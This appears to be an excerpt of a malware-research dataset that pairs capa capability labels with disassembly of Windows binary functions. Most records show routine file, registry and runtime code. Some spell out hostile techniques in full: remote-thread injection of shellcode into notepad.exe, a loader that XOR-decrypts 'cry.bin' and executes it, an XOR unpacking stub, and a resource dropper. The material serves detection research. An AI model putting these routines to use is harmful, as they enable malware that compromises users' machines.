joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40716c
Capabilities:
Write file on windows

Disassembly:
push edi
push esi
push eax
mov esi, dword [esp + 0x18]
mov edi, esp
push 0
push edi
push esi
push dword [esp + 0x20]
push dword [esp + 0x20]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
setne al
cmp dword [edi], esi
sete cl
and cl, al
movzx eax, cl
add esp, 4
pop esi
pop edi
ret 0xc

Function at 0x40719e
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebx
push edi
push esi
sub esp, 0xc
mov edi, dword [esp + 0x1c]
xor ebx, ebx
push 1
push ebx
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
xor esi, esi
inc esi
test eax, eax
jne 0x407210
lea eax, [esp + 4]
lea ecx, [esp + 2]
push 0
push eax
push 2
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4071ec
cmp dword [esp + 4], 2
jne 0x4071ec
movzx eax, word [esp + 2]
cmp eax, 0xfeff
jne 0x4071ec
mov esi, ebx
jmp 0x407210
cmp dword [esp + 0x20], 0
je 0x407204
xor ebx, ebx
push 1
push ebx
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
test eax, eax
je 0x40721b
xor eax, eax
push eax
push eax
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov eax, esi
add esp, 0xc
pop esi
pop edi
pop ebx
ret 8
lea esi, [esp + 8]
push ebx
push esi
push 2
push 0x40a806
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [esi], 2
mov ecx, 0x80004005
cmovne ebx, ecx
test eax, eax
cmove ebx, ecx
jmp 0x4071e8
Function at 0x407241
Capabilities:
Check if file exists
Get file attributes
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 8
mov esi, dword [esp + 0x20]
mov dword [0x434774], 0x4c
mov dword [0x434770], 0x55004e
test esi, esi
je 0x4072c2
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
xor ecx, ecx
cmp eax, 0xffffffff
cmovne ecx, eax
sub esp, 0x1c
mov dword [esp + 0x14], ecx
movaps xmm0, xmmword [0x40a7a0]
movups xmmword [esp + 4], xmm0
mov dword [esp], esi
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x400
push 0x434770
push esi
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
test eax, eax
je 0x40742f
cmp eax, 0x400
jg 0x40742f
push 0x400
push 0x433f6c
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
test eax, eax
je 0x40742f
cmp eax, 0x400
jg 0x40742f
mov esi, 0x433f6c
push esi
push 0x434770
push str._ls_ls_r_n
push 0x433b6c
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
mov edi, eax
mov eax, dword [0x40a004]
mov eax, dword [eax]
push dword [eax + 0x128]
push esi
call fcn.00407437
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
xor ecx, ecx
cmp eax, 0xffffffff
cmovne ecx, eax
sub esp, 0x1c
mov dword [esp + 0x14], ecx
movaps xmm0, xmmword [0x40a7b0]
movups xmmword [esp + 4], xmm0
mov dword [esp], esi
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
je 0x40742f
mov esi, eax
push 0
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebp, eax
add eax, edi
add eax, 0xa
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
test eax, eax
je 0x407428
mov ebx, eax
mov eax, esp
push 0
push eax
push ebp
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x407428
cmp dword [esp], ebp
jne 0x407428
push str._Rename__r_n
push ebx
call fcn.0040700b
test eax, eax
je 0x4073d8
add eax, 0xa
push 0x40a81d
push eax
call fcn.0040700b
test eax, eax
je 0x4073ea
mov ecx, ebp
add ecx, ebx
cmp ecx, eax
jbe 0x4073d3
mov dl, byte [ecx]
mov byte [ecx + edi], dl
lea edx, [ecx - 1]
mov ecx, edx
cmp edx, eax
ja 0x4073c5
sub eax, ebx
inc eax
jmp 0x4073ec
lea eax, [ebx + ebp]
add ebp, 0xa
push str._Rename__r_n
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, ebp
test edi, edi
je 0x407404
mov ecx, ebx
add ecx, eax
xor eax, eax
mov dl, byte [eax + 0x433b6c]
mov byte [ecx + eax], dl
inc eax
cmp edi, eax
jne 0x4073f6
add ebp, edi
xor edi, edi
push edi
push edi
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [esp + 4]
push edi
push eax
push ebp
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add esp, 8
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x4077e1
Capabilities:
Query or enumerate registry value

Disassembly:
push edi
push esi
sub esp, 0xc
mov edi, dword [esp + 0x24]
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x1c]
xor edx, edx
cmp dword [esp + 0x28], 0
mov dword [esp + 8], 0x800
setne dl
shl edx, 8
or edx, 0x20019
mov esi, esp
push esi
push edx
push ecx
push eax
call fcn.00407778
test eax, eax
jne 0x40785b
lea eax, [esp + 8]
lea ecx, [esp + 4]
push eax
push edi
push ecx
push 0
push dword [esp + 0x30]
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov esi, eax
push dword [esp]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov word [edi + 0x7fe], 0
test esi, esi
jne 0x40785b
mov eax, dword [esp + 4]
add eax, 0xfffffffd
cmp eax, 0xfffffffd
ja 0x407860
mov word [edi], 0
add esp, 0xc
pop esi
pop edi
ret 0x14

Function at 0x40794e
Capabilities:
Get common file path

Disassembly:
push edi
push esi
sub esp, 0x23c
mov edi, dword [esp + 0x248]
mov esi, esp
push 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
xor ecx, ecx
cmp eax, 0x105
cmovb ecx, eax
test ecx, ecx
je 0x407986
xor eax, eax
cmp word [esp + ecx*2 - 2], 0x5c
sete al
jmp 0x407989
xor eax, eax
inc eax
lea ecx, [esp + ecx*2]
add eax, eax
add eax, 0x40a802
push edi
push eax
push str._s_S.dll
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 8
push 0
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
add esp, 0x23c
pop esi
pop edi
ret 4

Function at 0x407a88
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebx
push edi
push esi
mov ecx, dword [esp + 0x18]
cmp dword [0x4361c4], 0
jne 0x407ac4
xor eax, eax
mov edx, 8
mov esi, eax
mov edi, esi
shr edi, 1
and esi, 1
neg esi
and esi, 0xedb88320
xor esi, edi
dec edx
jne 0x407aa1
mov dword [eax*4 + 0x4361c0], esi
inc eax
cmp eax, 0x100
jne 0x407a9a
mov eax, dword [esp + 0x10]
test ecx, ecx
je 0x407aed
mov edx, dword [esp + 0x14]
not eax
xor esi, esi
mov bl, byte [edx + esi]
xor bl, al
movzx edi, bl
shr eax, 8
xor eax, dword [edi*4 + 0x4361c0]
inc esi
cmp ecx, esi
jne 0x407ad4
not eax
pop esi
pop edi
pop ebx
ret 0xc
Function at 0x40149c
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate processes
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x168
mov dword [ebp - 0x140], 0x128
mov dword [esp + 4], 0
mov dword [esp], 2
call sym._CreateToolhelp32Snapshot_8
sub esp, 8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x4014e7
mov dword [esp], str.CreateToolhelp32Snapshot_failed
call sym._perror
mov dword [esp], 1
call sym._exit
mov dword [ebp - 0xc], 0
lea eax, [ebp - 0x140]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._Process32First_8
sub esp, 8
test eax, eax
je 0x40154e
mov dword [esp + 4], str.notepad.exe
lea eax, [ebp - 0x140]
add eax, 0x24
mov dword [esp], eax
call sym.__stricmp
test eax, eax
jne 0x401532
mov eax, dword [ebp - 0x138]
mov dword [ebp - 0xc], eax
jmp 0x40154e
lea eax, [ebp - 0x140]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._Process32Next_8
sub esp, 8
test eax, eax
jne 0x40150a
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
cmp dword [ebp - 0xc], 0
jne 0x40157a
mov dword [esp], str.Target_process_not_found.
call sym._puts
mov dword [esp], 1
call sym._exit
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x4015b9
mov dword [esp], str.OpenProcess_failed
call sym._perror
mov dword [esp], 1
call sym._exit
mov dword [esp + 0x10], 0x40
mov dword [esp + 0xc], 0x3000
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x401615
mov dword [esp], str.VirtualAllocEx_failed
call sym._perror
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov dword [esp], 1
call sym._exit
mov dword [esp + 0x10], 0
mov eax, dword [ebp + 0xc]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov eax, dword [ebp - 0x18]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret
Function at 0x40168e
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Read file on windows

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
sub esp, 0x34
call sym.___main
mov dword [ebp - 0xc], str.cry.bin
mov dword [esp + 4], 0x4060db
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._fopen
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x4016df
mov dword [esp], str.Error_opening_payload_file
call sym._perror
mov dword [esp], 1
call sym._exit
mov eax, dword [ebp - 0x10]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 1
mov dword [esp + 4], 1
lea eax, [ebp - 0x1d]
mov dword [esp], eax
call sym._fread
mov dword [esp + 8], 2
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._fseek
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._ftell
sub eax, 1
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._rewind
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._fseek
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._malloc
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x40178a
mov dword [esp], str.Memory_allocation_failed
call sym._perror
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._fclose
mov dword [esp], 1
call sym._exit
mov eax, dword [ebp - 0x10]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._fread
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._fclose
movzx eax, byte [ebp - 0x1d]
movzx eax, al
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._xor_decrypt
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x3000
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._VirtualAlloc_16
sub esp, 0x10
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x401825
mov dword [esp], str.VirtualAlloc_failed
call sym._perror
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._free
mov dword [esp], 1
call sym._exit
mov eax, dword [ebp - 0x14]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._memcpy
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x1c]
call eax
mov dword [esp + 8], 0x8000
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._VirtualFree_12
sub esp, 0xc
mov eax, 0
mov ecx, dword [ebp - 4]
leave
lea esp, [ecx - 4]
ret
Function at 0x401ec0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x408044
call sym._EnterCriticalSection_4
mov ebx, dword [0x40803c]
sub esp, 4
test ebx, ebx
je 0x401f0b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x401f04
test esi, esi
je 0x401f04
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x401ee0
mov dword [esp], 0x408044
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x4020f0
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x402140
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x402218
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x40217e
cmp eax, 4
jne 0x4021a0
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x40218e
cmp edx, 4
je 0x40218e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.004020f0
Function at 0x401000
Capabilities:
Delete file
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
push ebx
push esi
push edi
mov esi, str._TEMP_
lea edi, [ebp - 0x41c]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 0x7e
pop ecx
xor eax, eax
lea edi, [ebp - 0x40e]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov esi, 0x104
push esi
lea eax, [ebp - 0x41c]
push eax
call dword [sym.imp.SHELL32.dll_DoEnvironmentSubstW]
xor eax, eax
xor ebx, ebx
mov word [ebp - 0x214], bx
mov ecx, 0x81
lea edi, [ebp - 0x212]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x214]
push eax
push ebx
push 0x403080
lea eax, [ebp - 0x41c]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
lea eax, [ebp - 0x214]
push eax
mov dword [ebp - 8], 0xfffffffd
call fcn.0040118d
cmp al, bl
pop ecx
mov byte [ebp - 1], al
je 0x4010df
lea eax, [ebp - 0x214]
push eax
mov dword [ebp - 8], 0xfffffffe
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp eax, ebx
mov dword [ebp - 0xc], eax
je 0x4010df
or dword [ebp - 8], 0xffffffff
push str.wWinMain
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
cmp edi, ebx
je 0x4010d6
lea eax, [ebp - 8]
push eax
push ebx
mov dword [ebp - 8], 0x403060
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call edi
mov dword [ebp - 8], eax
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
cmp byte [ebp - 1], bl
jne 0x40117d
push ebx
push esi
lea eax, [ebp - 0x41c]
push eax
push ebx
push 0x70
push ebx
push 0x1200
call dword [sym.imp.KERNEL32.dll_FormatMessageW]
test eax, eax
je 0x40117d
push esi
lea eax, [ebp - 0x214]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x214]
push 0x5c
push eax
call fcn.00401339
pop ecx
pop ecx
mov esi, eax
cmp esi, ebx
push 2
pop edi
je 0x40113b
add esi, edi
xor ax, ax
lea ecx, [ebp - 0x41c]
call fcn.00401316
mov word [eax], 0x28
mov cx, word [ebp - 0x214]
add eax, edi
mov word [eax], cx
add eax, edi
mov word [eax], 0x3a
add eax, edi
push 0x10
mov word [eax], 0x29
mov word [eax + 2], bx
push esi
lea eax, [ebp - 0x41c]
push eax
push ebx
call dword [sym.imp.USER32.dll_MessageBoxW]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x40118d
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
push 0x403064
push 0x90
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
cmp esi, edi
je 0x4012c3
cmp esi, 0xffffffff
je 0x4012c3
push esi
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
cmp ebx, edi
je 0x4012c3
push esi
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
cmp eax, edi
mov dword [ebp - 8], eax
jbe 0x4012c3
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
cmp esi, edi
je 0x4012c3
push edi
push 0x80
push 2
push edi
push edi
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, edi
mov dword [ebp - 0xc], eax
je 0x4012c3
cmp eax, 0xffffffff
je 0x4012c3
mov dword [ebp - 4], edi
xor ecx, ecx
lea eax, [esi + 5]
movzx edx, byte [eax]
shl edx, cl
add ecx, 8
add dword [ebp - 4], edx
inc eax
cmp ecx, 0x40
jb 0x401226
push dword [ebp - 4]
call fcn.004012e0
mov ebx, eax
cmp ebx, edi
pop ecx
jne 0x40124b
push 2
pop esi
jmp 0x4012b1
mov eax, dword [ebp - 8]
add eax, 0xfffffff3
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x14]
push eax
push 1
push 5
push esi
lea eax, [ebp - 0x10]
push eax
add esi, 0xd
push esi
lea eax, [ebp - 4]
push eax
push ebx
mov dword [ebp - 0x1c], 0x4012ca
mov dword [ebp - 0x18], 0x4012d5
call fcn.00402abc
mov esi, eax
add esp, 0x24
cmp esi, edi
jne 0x4012aa
push edi
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
mov dword [ebp - 8], edi
push ebx
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 4]
je 0x4012aa
push 9
pop esi
push ebx
call fcn.004012fb
pop ecx
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
cmp esi, edi
sete al
jmp 0x4012c5
xor al, al
pop edi
pop esi
pop ebx
leave
ret
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
nop
pop eax
nop
nop
nop
add eax, 0x403daa
sub eax, 0x403d50
nop
nop
nop
nop
nop
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
jl 0x430030
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
jne 0x43001e
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp loc.00401219

Function at 0x10001008
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x10001012
repz ret
jmp fcn.10001294

Function at 0x10004dfa
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.1000139a
and dword [ebp - 0x14], 0
cmp dword [0x10009784], 0
mov dword [ebp - 0x18], eax
jne 0x10004ead
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x10004f55
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x10004f55
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x10009784], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x10009788], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x1000978c], eax
call edi
push eax
call esi
mov dword [0x10009794], eax
test eax, eax
je 0x10004ead
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x10009790], eax
mov eax, dword [0x10009790]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x10004f06
cmp dword [0x10009794], ecx
je 0x10004f06
push eax
call esi
push dword [0x10009794]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x10004f06
test ebx, ebx
je 0x10004f06
call edi
test eax, eax
je 0x10004efd
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x10004efd
test byte [ebp - 8], 1
jne 0x10004f06
or dword [ebp + 0x10], 0x200000
jmp 0x10004f39
mov eax, dword [0x10009788]
cmp eax, dword [ebp - 0x18]
je 0x10004f39
push eax
call esi
test eax, eax
je 0x10004f39
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x10004f39
mov eax, dword [0x1000978c]
cmp eax, dword [ebp - 0x18]
je 0x10004f39
push eax
call esi
test eax, eax
je 0x10004f39
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x10009784]
call esi
test eax, eax
je 0x10004f55
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x10004f57
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10001008
leave
ret